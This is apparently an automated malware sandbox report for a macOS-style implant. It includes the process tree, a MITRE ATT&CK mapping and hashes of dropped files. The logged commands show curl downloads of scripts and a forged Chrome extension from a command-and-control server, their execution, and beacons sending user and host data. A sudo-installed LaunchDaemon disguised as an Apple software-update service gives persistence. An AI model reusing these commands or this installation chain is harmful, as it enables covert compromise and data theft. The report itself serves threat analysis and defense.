    3⤵
    PID:1938
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1941
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1944
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1956
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1957
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1962
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1968
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1970
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1973
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1974
- - /bin/date
    date "+%s"
    3⤵
    PID:1975
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1977
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1980
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1981
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1983
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1986
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1990
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1991
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1994
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1996
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1999
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2002
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2006
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:2007
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2010
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2013
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:2014
- - /bin/sleep
    sleep 5
    3⤵
    PID:2015
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2023
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:2024
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:2026
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2029
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2041
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:2042
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:2045
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2048
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:2050
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2053
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:2054
- - /bin/date
    date "+%s"
    3⤵
    PID:2055
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:2057
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2060
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:2061
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:2063
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2066
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2069
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:2070
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2073
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:2075
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2078
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2082
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:2083
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2086
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2089
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:2090
- - /bin/sleep
    sleep 5
    3⤵
    PID:2091
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2099
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:2101
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:2105
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2108
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:2120
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:2121
- /bin/date
  date "+%s"
  2⤵
  PID:999
- /bin/mkdir
  mkdir -p /Library/.c2/oao_ext /Library/.c2
  2⤵
  PID:1000
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/chrome_ext_forge.sh -o /Library/.c2/chrome_ext_forge.sh
  2⤵
  PID:1004
- /bin/chmod
  chmod +x /Library/.c2/chrome_ext_forge.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1056
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/manifest.json -o /Library/.c2/oao_ext/manifest.json
  2⤵
  PID:1060
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/content.js -o /Library/.c2/oao_ext/content.js
  2⤵
  PID:1098
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/inject.js -o /Library/.c2/oao_ext/inject.js
  2⤵
  PID:1120
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/service_worker.js -o /Library/.c2/oao_ext/service_worker.js
  2⤵
  PID:1139
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon16.png -o /Library/.c2/oao_ext/icon16.png
  2⤵
  PID:1163
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon32.png -o /Library/.c2/oao_ext/icon32.png
  2⤵
  PID:1166
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon48.png -o /Library/.c2/oao_ext/icon48.png
  2⤵
  PID:1199
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon128.png -o /Library/.c2/oao_ext/icon128.png
  2⤵
  PID:1208
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/popup.html -o /Library/.c2/oao_ext/popup.html
  2⤵
  PID:1231
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/popup.js -o /Library/.c2/oao_ext/popup.js
  2⤵
  PID:1245
- /bin/bash
  bash /Library/.c2/chrome_ext_forge.sh
  2⤵
  PID:1287
- - /usr/bin/base64
    base64 --decode
    3⤵
    PID:1290
- /bin/date
  date "+%s"
  2⤵
  PID:1292
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/chrome_watchdog.sh -o /Library/.c2/chrome_watchdog.sh
  2⤵
  PID:1293
- /bin/chmod
  chmod +x /Library/.c2/chrome_watchdog.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1295
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/local.chrome-watchdog.plist -o /Library/.c2/watchdog.plist
  2⤵
  PID:1296
- /bin/sed
  sed -i "s|__USER_HOME__||g" /Library/.c2/watchdog.plist
  2⤵
  PID:1298
- /usr/bin/id
  id -u
  2⤵
  PID:1299
- /bin/cp
  cp /Library/.c2/watchdog.plist /Library/LaunchAgents/local.chrome-watchdog.plist
  2⤵
  PID:1301
- /usr/bin/id
  id -u
  2⤵
  PID:1302
- /bin/rm
  rm -f /Library/.c2/watchdog.plist
  2⤵
  PID:1305
- /bin/date
  date "+%s"
  2⤵
  PID:1306
- /bin/cat
  cat
  2⤵
  PID:1307
- /usr/bin/sudo
  sudo -S cp /tmp/com.apple.softwareupdate.plist /Library/LaunchDaemons/com.apple.softwareupdate.plist
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1309
- - /bin/cp
    cp /tmp/com.apple.softwareupdate.plist /Library/LaunchDaemons/com.apple.softwareupdate.plist
    3⤵
    PID:1310
- /usr/bin/sudo
  sudo -S chmod 644 /Library/LaunchDaemons/com.apple.softwareupdate.plist
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1312
- - /bin/chmod
    chmod 644 /Library/LaunchDaemons/com.apple.softwareupdate.plist
    3⤵
    PID:1313
- /usr/bin/sudo
  sudo -S launchctl load /Library/LaunchDaemons/com.apple.softwareupdate.plist
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1315
- /bin/date
  date "+%s"
  2⤵
  PID:1316
- /usr/bin/pgrep
  pgrep -f "cmd_agent.*ps_Q4huLTcs.ps1"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1317
- /bin/cat
  cat
  2⤵
  PID:1324
- /bin/chmod
  chmod +x /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1325
- /bin/date
  date "+%s"
  2⤵
  PID:1327
- /usr/bin/curl
  curl -sSfL --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules
  2⤵
  PID:1329
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/clipboard.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_clipboard.sh
  2⤵
  - System Network Configuration Discovery
  PID:1355
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/cdp_inject.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_cdp_inject.sh
  2⤵
  PID:1370
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/screencast.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_screencast.sh
  2⤵
  PID:1408
- /usr/bin/pgrep
  pgrep -f clipmon_ps_Q4huLTcs.ps1
  2⤵
  - Reads CPU attributes
  - System Network Configuration Discovery
  PID:1410
- /bin/cat
  cat
  2⤵
  PID:1411
- /usr/bin/which
  which swiftc
  2⤵
  PID:1412
- /bin/rm
  rm -f /tmp/.clipmon_ps_Q4huLTcs.ps1.swift
  2⤵
  - System Network Configuration Discovery
  PID:1413
- /bin/date
  date "+%s"
  2⤵
  PID:1414
- /bin/date
  date "+%s"
  2⤵
  PID:1416
- /bin/rm
  rm -f /Library/Caches/.oao_timing_ps_Q4huLTcs.ps1.log
  2⤵
  PID:1417
- /bin/rm
  rm -rf /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz
  2⤵
  PID:1418
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "status=done" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4" --data-urlencode "sudo=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1419
- /usr/bin/curl
  curl -sSfL https://c2.cryptobwh.icu/oao-shell-helper.sh -o /tmp/.oao_shell_helper_ps_Q4huLTcs.ps1.sh
  2⤵
  PID:1422
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:1423
- /bin/sleep
  sleep 30
  2⤵
  PID:1435
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:1676
- /bin/sleep
  sleep 30
  2⤵
  PID:1695
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:1959
- /bin/sleep
  sleep 30
  2⤵
  PID:1988

/usr/bin/nohup
nohup bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/usr/local/sbin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/usr/local/bin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/usr/sbin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/usr/bin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/sbin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326

/bin/bash
bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh
1⤵
PID:1326
- /bin/sleep
  sleep 15
  2⤵
  PID:1333
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1331
- /bin/sleep
  sleep 5
  2⤵
  PID:1354
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1424
- /bin/sleep
  sleep 5
  2⤵
  PID:1437
- /bin/sleep
  sleep 15
  2⤵
  PID:1458
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1507
- /bin/sleep
  sleep 5
  2⤵
  PID:1510
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1541
- /bin/sleep
  sleep 5
  2⤵
  PID:1586
- /bin/sleep
  sleep 15
  2⤵
  PID:1589
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1595
- /bin/sleep
  sleep 5
  2⤵
  PID:1599
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1666
- /bin/sleep
  sleep 5
  2⤵
  PID:1669
- /bin/sleep
  sleep 15
  2⤵
  PID:1699
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1726
- /bin/sleep
  sleep 5
  2⤵
  PID:1762
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1793
- /bin/sleep
  sleep 5
  2⤵
  PID:1805
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1824
- /bin/sleep
  sleep 5
  2⤵
  PID:1840
- /bin/sleep
  sleep 15
  2⤵
  PID:1847
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1891
- /bin/sleep
  sleep 5
  2⤵
  PID:1912
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:1931
- /bin/sleep
  sleep 5
  2⤵
  PID:1940
- /bin/sleep
  sleep 15
  2⤵
  PID:1966
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:2016
- /bin/sleep
  sleep 5
  2⤵
  PID:2019
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:2092
- /bin/sleep
  sleep 5
  2⤵
  PID:2095
- /bin/sleep
  sleep 15
  2⤵
  PID:2103
- /usr/bin/curl
  curl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"
  2⤵
  PID:2123

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bf.tar.gz

Path /Library/.c2/bf.tar.gz
Size 468KB
SHA256 afb115c88cf088131944a038d90ef873f34df7bf7eff6c009bb2cd9b472f0768
MD5 931e76af4cd225e3d75ee611d9319318
SHA1 d78b39728cee53473a2ee78d73753811a3121527
SHA512 e17b101ec44c872cbf4ae12876a2fb3af540c558d6b0cd13b66c534ebcb8145f5f870740c9e5357e25d34f60cf108c456deb3dca87b96f8531e69ad6ce95de6f
SSDEEP 12288:aDU9in25cgYsYmCgtceaYqIgjEw7RWU7qa7XvuN79znDJy/l5c:aD2pNvYmvaZEw7R/7raN79zDJK0
TLSH
T1BCA42385A6BD81CBA237C839718E5CE24B17229FD91840453E1A45F6B3FD27C895C1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bf_grace_counter

Path /Library/.c2/bf_grace_counter
Size 2B
SHA256 9a271f2a916b0b6ee6cecb2426f0b3206ef074578be55d9bc94f6f3fe3ab86aa
MD5 897316929176464ebc9ad085f31e7284
SHA1 09d2af8dd22201dd8d48e5dcfcaed281ff9422c7
SHA512 a546d1300f49037a465ecec8bc1ebd07d57015a5ff1abfa1c94da9b30576933fb68e3898ff764d4de6e6741da822a7c93adc6e845806a266a63aa14c8bb09ebb
MD5 SHA1 SHA512

Submit Download

bf_grace_counter

Path /Library/.c2/bf_grace_counter
Size 2B
SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
MD5 26ab0db90d72e28ad0ba1e22ee510510
SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
MD5 SHA1 SHA512

Submit Download

bf_grace_counter

Path /Library/.c2/bf_grace_counter
Size 2B
SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
MD5 6d7fce9fee471194aa8b5b6e47267f03
SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
MD5 SHA1 SHA512

Submit Download

bf_startup_done

Path /Library/.c2/bf_startup_done
Size 2B
SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
MD5 b026324c6904b2a9cb4b88d6d61c81d1
SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
MD5 SHA1 SHA512

Submit Download

bid.txt

Path /Library/.c2/bid.txt
Size 16B
SHA256 be4aa28a34b75e0d1694e7d8c70b07f216c53dc853539e90a4539b792ac0f278
MD5 bec29de4944051e73e7fe48d33f0a650
SHA1 00d9f89c9d1e7bb0a6b68386d526aab0131e9111
SHA512 a25ff23ced446dce8aa5b85136ead249ac1c513cdb566d1be80d18d0b6a212c907fa43a8b128692ea53ebac5076302d8c2dca1dabfe76d14a686c6b49de2a97b
MD5 SHA1 SHA512

Submit Download

chrome_ext_forge.sh

Path /Library/.c2/chrome_ext_forge.sh
Size 5KB
SHA256 232e5190c19d8c510fac74cadb05a9d20d4a28d5e5f6dccfa0ce3f71e53413a8
MD5 99316409527743734cece67002c45f5c
SHA1 3c0be3953f5adc313a1dc59101be9788cff0a79f
SHA512 b04151cac10be19a64a1ef9a7e397c830def635aac9c5dec81368dc41f55c084011cd5907948dc9e3f8e2f03866896008c979db472abb4df49047d8ee8a13514
SSDEEP 96:myOtA2sw0jlsfDmBGgNcR8MRSUWmPaUMTELS0dxExSUboyu6e+qDhakxk2fZlZ+m:iOj/BPSRjWmjMTuid8R62taki2h7+E5
TLSH
T167C196F0E4258A7063D58877CD9AA31275961D1FCCAC7E00B1EE86493B79238A27C377
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_watchdog.sh

Path /Library/.c2/chrome_watchdog.sh
Size 9KB
SHA256 a87083cca8c6e632382ad1db92777f0109e9e1d299b9c49cca10d96c43b4722a
MD5 9b8b717f8da33e2a710ab0b9953788b4
SHA1 26d58192190f31d874745616d8b902ef45a6af33
SHA512 cac32fbf11eae327d1db95894e3766aef84af29383cb3cf2b2efeb80c0ae76d596319f8fec1d986b22aa67586961a06283883bf08f2f0b0cc1d3104780c438f0
SSDEEP 192:lRxPRH3urjUpQjE3/N8wUCliV8gERT8MM5JWjMJNQxh3Mlc5+vIsHqLtY2I:lnRXmgQ5CWEt87AT8jg+2I
TLSH
T1571262E0F894823131EC8579A4599445BA876D3FC4693D7070EBBD64372E23C62AC37B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.html

Path /Library/.c2/dist/client/index.html
Size 7KB
SHA256 a5ee4c83e48ec5edb2d2d694b405b16224aea0842886cda1e12e721485b5cc4b
MD5 86d431effefd116fb2b7983780189db1
SHA1 ed2eaeb7634227cc216693c958c683a3c7b275c4
SHA512 c9b8542716fccea2b376bf139fccf3a1ae617353a13c10efd93dc98bb3e24ed226df319a956293922f3d4c8578776fd1ead77ac40a220aede86a27041cc60070
SSDEEP 96:HCGeMiMMe44VSJYxbWP/2JkM5I1RwV/QpE4o75Ijw+7jT+kRPuzQufKWjBYhrXDG:HbB5S/pKkRPuFfChTy
TLSH
T1DDF1FE11A9BC5CFBD01F006BBED132352557E293DB8D1008B96F12B04F5AD8AD62F2AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main.js

Path /Library/.c2/dist/client/main.js
Size 19KB
SHA256 a24972d6626deed6247411ba8a21381236f299c5e3351413ad9d74424dc709bd
MD5 d5d655d3c37323cd44c86ce6de1b024d
SHA1 d2580533d9c03ed96406bd589be1fd1b38c0fa54
SHA512 27f51e588aa1c7d0c85f84594eb791f4e5fad90a00679e931e5e9fa809a6f77856f599708cd909d4ac17a611dcd4059d00d3ba9cbbbef812912d7995e3799c52
SSDEEP 192:11o6O5Hz0UdxQuGDrFgY0Whlq4L6oPOfTFpgIqfmU+qWbqrGCHlc7LGohm2QB9ws:11ohZ0WPGDhgY0Rm/OfTPvqfmU+rpsX
TLSH
T12E92B5F73356397A429F626B78EED200B3392986E4061400A6BDCC691D64EC19277FDF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

style.css

Path /Library/.c2/dist/client/style.css
Size 24KB
SHA256 5873eec53329be6750ffa05fbad9d97531cedc96df897f7cae18d7d5e2fe728c
MD5 ca8748f552f3de3dcda13b9f02c4fa3b
SHA1 7214284a4b7814e25867d2bb69dc6634080c0f69
SHA512 dd1651544e30b2ee53afa2c0c1784ab581c59c6d8d34559b8d9862b5d09e4f3c479cb88f9d8481bc4c8cbf193f58bc233f562341a5e200f81e4733161136d002
SSDEEP 768:ABTwW7E+f1R1GZOFoFSSAPkFLGouou+wJvBui:ABsW73J+O2NAMEkuci
TLSH
T135B2E8E277910775341791987A4F9AE1B31CA0929606CD787EEC104C5F8A3FA817BBD8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bridge.d.ts

Path /Library/.c2/dist/server/bridge.d.ts
Size 402B
SHA256 2cd578c35400608babe090a94bdc1f78dfcd4e6587c5733b89efbbfad96deaf6
MD5 471cfc5032b3bf70df7ca03dedc875bf
SHA1 194df49d9ff749bdd445603e8f30c8c8080ba66e
SHA512 68cdbb9789d665b2141595fd401c7b656b345647c5ea38b8f55e03db66c77119f65cd47d9ec0403e0502f850ca9ccc4403e472287cc871a43190030f58002b15
TLSH
T120E06802A04B671B46E292225B6D5C669F34820FA0994E7AFEA386601B1340CF00766C
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.js.map

Path /Library/.c2/dist/server/bridge.js.map
Size 7KB
SHA256 d42ad5385d61a77c10f9c4b0a56f5e8e9c5cf3a4423ccd7d5d3cdf6afe1a7b24
MD5 9d59ecd250cf87a6e97a4bda5803130a
SHA1 8641849aa6789372ea59672a0815f64222c9be24
SHA512 af63a75af48d96e854217fc81cac4b2726c56fe68c1fe27b62dcd9cb54fe813ed8b2d1f6975dcc41836310a9a5b231b03c3b8e915a3c89cd70b8c2fe6b07121e
SSDEEP 96:fFv2JzbiCeVGGvOV72Eb762SEl0niel22jLo+QQYEuHOrOrWvqqkWdrzLM+r1rSR:fFkaCen2V7FlgtlRLxTJPzy
TLSH
T1CEF19E5240BBD96BB467578B29DB90A37E14885D7D88AF0108CCE712F0D3F3A7CE1862
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cdp-session.d.ts

Path /Library/.c2/dist/server/cdp-session.d.ts
Size 3KB
SHA256 8d621cae5f90388a9c912387e7ac490d12858e5d443a06a0b04e6e415520b496
MD5 f814d204ee176e04c353699c872bcc5f
SHA1 e63473b60c7c56765c606057e265fa3d71dea4d4
SHA512 a10a40db1a42db7735f953f4e7c9994e455789f1f3ddaafdea962b6f803a78d4dc0803bd2de7f284911ffefb28d115eae1d5e1f6db70cf48a8db2c0acf398114
TLSH
T19161F0428D872D364441D62FFF953A274DAC804F6B1DFD29BBDE06220F115CCE1AAB68
MD5 SHA1 SHA512 TLSH

Submit Download

cdp-session.js.map

Path /Library/.c2/dist/server/cdp-session.js.map
Size 36KB
SHA256 85e382004bb2bc322363f242fe436455aa2a31053952794347cd79f102326806
MD5 c7776e1a4c027a73bd6ce5ebee9f018e
SHA1 b3727a0e10071d0e4aa2643908ed69cb0f79ed96
SHA512 8cc4964a7dae535e6d28266b69d82da2c3b1766d24359c45608b4a1e2d2cb90703f22957714b35997557b3127eb378646867145965d78d4869c0bc3bbd485e47
SSDEEP 768:EH5jMmmegEUK0MpTLhDeEPFFiacPXFN2NUNmHs:EH5jMmmegEUKppHcEPFFiacPj8SmM
TLSH
T197F2D71240BBDD67B857129B29CF94B37F64489D6DD9AB010988A712F0D3F3ABCF1462
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cli.d.ts

Path /Library/.c2/dist/server/cli.d.ts
Size 31B
SHA256 43e818adf60173644896298637f47b01d5819b17eda46eaa32d0c7d64724d012
MD5 8886940857c05e62f8d65d5264a0e111
SHA1 380f3a3b87e1c1d1acbf5527bb3f5830f362956a
SHA512 7dbb6fdecfd06ce4f461e553ef0a5d20f1bcc5f063daeb3d5928c4f28908cda03e0533a7e98179460e243e08ddc8299aa70ccae1ac7364eb9402ab1054b8d2ac
MD5 SHA1 SHA512

Submit Download

discover.d.ts

Path /Library/.c2/dist/server/discover.d.ts
Size 1KB
SHA256 f27aad4b8bda5b8a89432606d0bcbd1f46f9ac09e3795e7530e18ff8c7707922
MD5 3254c173bac84636e2be72dafec56507
SHA1 af9a500cfe116690db3d0e93ac4f7d19dc907ad0
SHA512 617a28e90453d7d86d250c0fe196563e13fa4c8697d051c8673b26b4bb0c3fb19a1347bff36282ea229204315cce7fb66e9f647a6ea59b047b0bcaed808bd18a
TLSH
T1F6118C03B61A37A7ACE42253FBBEC4061E41901762256CEBFEE926551F3609C79B390D
MD5 SHA1 SHA512 TLSH

Submit Download

index.d.ts

Path /Library/.c2/dist/server/index.d.ts
Size 265B
SHA256 8cc78c8517785b1b2f2191a3ac28322aa7d3677a8678af71c5cafcb871c20f5a
